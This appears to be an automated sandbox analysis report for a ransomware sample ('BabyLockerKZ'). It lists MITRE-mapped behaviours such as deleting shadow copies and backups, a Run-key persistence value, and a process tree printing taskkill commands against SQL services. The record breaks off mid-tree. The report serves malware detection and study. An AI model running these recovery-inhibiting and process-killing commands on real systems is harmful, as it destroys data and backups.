8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71c

Analysis

max time kernel
119s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10/10/2024, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
Size 422KB
Sample241010-e8f8pstakp
SHA256 8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71c
MD5 60531bd2b0df3a9f255a90a6af2b6850
SHA1 f17345c734401dc07af8c5e2f7cb9a83a1fd8265
SHA512 3ef87e35d932975dec92125627d6ac974d5988d083feba3c61890fa04aee1ebc53ad0ad3845f6ed8341b38393574d24b9235abf199513cf0e7f089f491697d60
SSDEEP 6144:MTqhlztbElkd+s0zyykmkkES0J2txMLVesCjuwptsOXNZcX9PNCFR09KKPOeFhb5:RhDdkybr/J2tx2VeFusZXQJhkeFhbbt
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2032 created 3532	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	56

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4548	bcdedit.exe
3088	bcdedit.exe

Renames multiple (142) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes System State backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3040	wbadmin.exe

Deletes system backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1680	wbadmin.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BabyLockerKZ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe\""	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BabyLockerKZ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe\""	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\T:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\A:	cipher.exe
File opened (read-only)	\??\F:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\E:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\H:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\N:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\U:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\V:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\Y:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\F:	cipher.exe
File opened (read-only)	\??\B:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\J:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\K:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\R:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\L:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\X:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\Z:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\P:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\Q:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\S:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\W:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\A:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\G:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\I:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
File opened (read-only)	\??\M:	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4788	vssadmin.exe

Kills process with taskkill 14 IoCs

evasion

pid	Process
2028	taskkill.exe
1932	taskkill.exe
4460	taskkill.exe
2460	taskkill.exe
2660	taskkill.exe
4704	taskkill.exe
4924	taskkill.exe
1904	taskkill.exe
3120	taskkill.exe
2980	taskkill.exe
4132	taskkill.exe
3340	taskkill.exe
5028	taskkill.exe
4700	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	4132	taskkill.exe
Token: SeDebugPrivilege	2660	taskkill.exe
Token: SeDebugPrivilege	4704	taskkill.exe
Token: SeDebugPrivilege	4924	taskkill.exe
Token: SeDebugPrivilege	5028	taskkill.exe
Token: SeDebugPrivilege	3340	taskkill.exe
Token: SeDebugPrivilege	1904	taskkill.exe
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	1932	taskkill.exe
Token: SeDebugPrivilege	4700	taskkill.exe
Token: SeIncreaseQuotaPrivilege	3112	WMIC.exe
Token: SeSecurityPrivilege	3112	WMIC.exe
Token: SeTakeOwnershipPrivilege	3112	WMIC.exe
Token: SeLoadDriverPrivilege	3112	WMIC.exe
Token: SeSystemProfilePrivilege	3112	WMIC.exe
Token: SeSystemtimePrivilege	3112	WMIC.exe
Token: SeProfSingleProcessPrivilege	3112	WMIC.exe
Token: SeIncBasePriorityPrivilege	3112	WMIC.exe
Token: SeCreatePagefilePrivilege	3112	WMIC.exe
Token: SeBackupPrivilege	3112	WMIC.exe
Token: SeRestorePrivilege	3112	WMIC.exe
Token: SeShutdownPrivilege	3112	WMIC.exe
Token: SeDebugPrivilege	3112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3112	WMIC.exe
Token: SeRemoteShutdownPrivilege	3112	WMIC.exe
Token: SeUndockPrivilege	3112	WMIC.exe
Token: SeManageVolumePrivilege	3112	WMIC.exe
Token: 33	3112	WMIC.exe
Token: 34	3112	WMIC.exe
Token: 35	3112	WMIC.exe
Token: 36	3112	WMIC.exe
Token: SeBackupPrivilege	5012	vssvc.exe
Token: SeRestorePrivilege	5012	vssvc.exe
Token: SeAuditPrivilege	5012	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 3104	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	84
PID 2032 wrote to memory of 3104	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	84
PID 2032 wrote to memory of 3104	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	84
PID 3104 wrote to memory of 3140	3104	cmd.exe	87
PID 3104 wrote to memory of 3140	3104	cmd.exe	87
PID 2032 wrote to memory of 408	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	88
PID 2032 wrote to memory of 408	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	88
PID 2032 wrote to memory of 408	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	88
PID 408 wrote to memory of 620	408	cmd.exe	90
PID 408 wrote to memory of 620	408	cmd.exe	90
PID 620 wrote to memory of 2460	620	cmd.exe	91
PID 620 wrote to memory of 2460	620	cmd.exe	91
PID 2032 wrote to memory of 4092	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	93
PID 2032 wrote to memory of 4092	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	93
PID 2032 wrote to memory of 4092	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	93
PID 4092 wrote to memory of 1756	4092	cmd.exe	96
PID 4092 wrote to memory of 1756	4092	cmd.exe	96
PID 1756 wrote to memory of 3120	1756	cmd.exe	97
PID 1756 wrote to memory of 3120	1756	cmd.exe	97
PID 2032 wrote to memory of 3956	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	98
PID 2032 wrote to memory of 3956	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	98
PID 2032 wrote to memory of 3956	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	98
PID 3956 wrote to memory of 2360	3956	cmd.exe	101
PID 3956 wrote to memory of 2360	3956	cmd.exe	101
PID 2360 wrote to memory of 2980	2360	cmd.exe	102
PID 2360 wrote to memory of 2980	2360	cmd.exe	102
PID 2032 wrote to memory of 3064	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	103
PID 2032 wrote to memory of 3064	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	103
PID 2032 wrote to memory of 3064	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	103
PID 3064 wrote to memory of 344	3064	cmd.exe	105
PID 3064 wrote to memory of 344	3064	cmd.exe	105
PID 344 wrote to memory of 4132	344	cmd.exe	106
PID 344 wrote to memory of 4132	344	cmd.exe	106
PID 2032 wrote to memory of 1968	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	107
PID 2032 wrote to memory of 1968	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	107
PID 2032 wrote to memory of 1968	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	107
PID 1968 wrote to memory of 3332	1968	cmd.exe	109
PID 1968 wrote to memory of 3332	1968	cmd.exe	109
PID 3332 wrote to memory of 2660	3332	cmd.exe	110
PID 3332 wrote to memory of 2660	3332	cmd.exe	110
PID 2032 wrote to memory of 1668	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	111
PID 2032 wrote to memory of 1668	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	111
PID 2032 wrote to memory of 1668	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	111
PID 1668 wrote to memory of 708	1668	cmd.exe	113
PID 1668 wrote to memory of 708	1668	cmd.exe	113
PID 708 wrote to memory of 4704	708	cmd.exe	114
PID 708 wrote to memory of 4704	708	cmd.exe	114
PID 2032 wrote to memory of 2696	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	116
PID 2032 wrote to memory of 2696	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	116
PID 2032 wrote to memory of 2696	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	116
PID 2696 wrote to memory of 4816	2696	cmd.exe	118
PID 2696 wrote to memory of 4816	2696	cmd.exe	118
PID 4816 wrote to memory of 4924	4816	cmd.exe	119
PID 4816 wrote to memory of 4924	4816	cmd.exe	119
PID 2032 wrote to memory of 5080	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	120
PID 2032 wrote to memory of 5080	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	120
PID 2032 wrote to memory of 5080	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	120
PID 5080 wrote to memory of 4448	5080	cmd.exe	122
PID 5080 wrote to memory of 4448	5080	cmd.exe	122
PID 4448 wrote to memory of 5028	4448	cmd.exe	123
PID 4448 wrote to memory of 5028	4448	cmd.exe	123
PID 2032 wrote to memory of 3324	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	124
PID 2032 wrote to memory of 3324	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	124
PID 2032 wrote to memory of 3324	2032	8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe	124

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3532
- C:\Users\Admin\AppData\Local\Temp\8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe
  "C:\Users\Admin\AppData\Local\Temp\8f73f3fadb56baf889efb51553de6e3c78e1462b55b3e142d31e6b8ce4bbb71cN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Adds Run key to start application
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c rem Kill "SQL"
      4⤵
      PID:3140
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:620
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlbrowser.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1756
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sql writer.exe
        5⤵
        Kills process with taskkill
        
        PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2360
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlserv.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2980
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:344
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im msmdsrv.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
      4⤵
